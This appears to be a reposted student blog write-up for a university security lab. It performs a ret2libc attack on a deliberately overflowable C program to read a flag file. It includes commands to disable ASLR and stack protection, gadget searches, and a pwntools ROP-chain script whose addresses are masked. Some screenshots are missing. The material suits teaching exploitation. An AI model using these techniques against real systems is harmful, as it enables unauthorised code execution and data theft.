0


【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。

在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

int main(int argc, char *argv[]) {

  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF,0);

  start();

  return 0;
}
    其中不难发现read的数量大于Buf应该有的64个字节,显然这种情况会导致栈溢出,并且覆盖start函数的返回地址,进而给攻击者留下可乘之机。

    在本次作业中,我使用的系统版本是:Linux version 5.13.0-28-generic (buildd@lgw01-amd64-035) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #31~20.04.1-Ubuntu SMP Wed Jan 19 14:08:10 UTC 2022

    关闭ASLR:
sudo sysctl -w kernel.randomize_va_space=0
    首先对stack.c程序进行编译,本次作业为了简化操作,使用的是32位的编译方式,同时关闭栈保护,具体而言,编译命令是:
gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack
    -g是为了后期进行gdb调试,其他的操作在任务书上都有说明,注意,如果-m32出现错误,可能是系统本身并没有32位的库,可以通过以下命令来尝试解决
    $ sudo apt-get install gcc-multilib
    那么我们现在显然已经有了一个编译完成了的stack的程序,我们来看看他溢出的话会在哪个地址具体溢出,使用以下命令:
ulimit -c unlimited
    这个命令可以让核心转储,进而让攻击者看到溢出的eip内容,进而确认溢出的内容。然后输入以下内容创造溢出:

    如果是Kali的话,你的core会直接出现在文件的旁边,但是对于Ubuntu而言,你会发现core似乎没有出现在文件的附近,对于这种情况,你可以使用这种方法来寻找core:r
sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
    然后去tmp里面找core,找到自己的core,用GDB查看溢出到EIP内容:

     可以看到你的eip为61616174,他的ASCII码值是aaat,通过指令判断偏移值:
cyclic -l 'aaat'
    得到的数值是73,但是由于是小端对齐(这个我也不确定),所以应该在76位置写入,记录该数值。(具体会因环境不同而不同)

    由于没有开启地址随机化,所以在这里函数的地址是固定的,然后我们需要找到各种功能库函数的地址,根据提示,我们需要找到exit(),read(),write()函数的地址,一般来说,你可以直接通过gdb函数去找到函数的偏移值,然后去加上库函数的地址(例如找read的话就在调试的时候输入p read,就会显示出一个地址),不过我们在这里可以用一下老师的方法,具体而言,第一步是查看程序调用了系统的哪个库函数:

    可以看到我们的调用的库函数是 /lib/i386-linux-gnu/libc.so.6,那么

    将000340d0+f7d36000相加,即可得到此时exit的地址(该地址会随环境不同而不同)

    如法炮制,找到其他函数地址,将其记录。

    最后我们要找到 pop ret 和pop ret ret以及其他操作(我们需要这个作为返回地址,好让我们可以弹出参数然后通过ret进入下一个系统函数),使用Ropgadget去寻找:
ropper --file ./stack_test | grep "pop" | grep "ret"

得到相应地址,PPPR是0x08049401,PPR是0x08049402,PR是PPPR是0x08049403

    至此所有需要的地址都获取完毕,填入老师给的攻击代码,运行,作业第一部分完成:
from pwn import *
p = process("./stack2")

PPPR=0x********
PPR=0x********
PR=0x********
BUF=0x********

num=**
payload = b'A' * num

#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
#open
payload += p32(0x********)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)

#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)

#write
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(100)

payload += p32(0x********)
payload += p32(0xdeadbeef)
payload += p32(2)

p.sendline(payload)

p.interactive()
     可以看到攻击结果:

    已经成功读出了flag的内容(注意,flag内容需要自行创建) 

    
标签: 系统安全 python c++

本文转载自: https://blog.csdn.net/weixin_45695828/article/details/124293859
版权归原作者 弗里曼博士 所有, 如有侵权,请联系我们删除。

“【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)”的评论:

还没有评论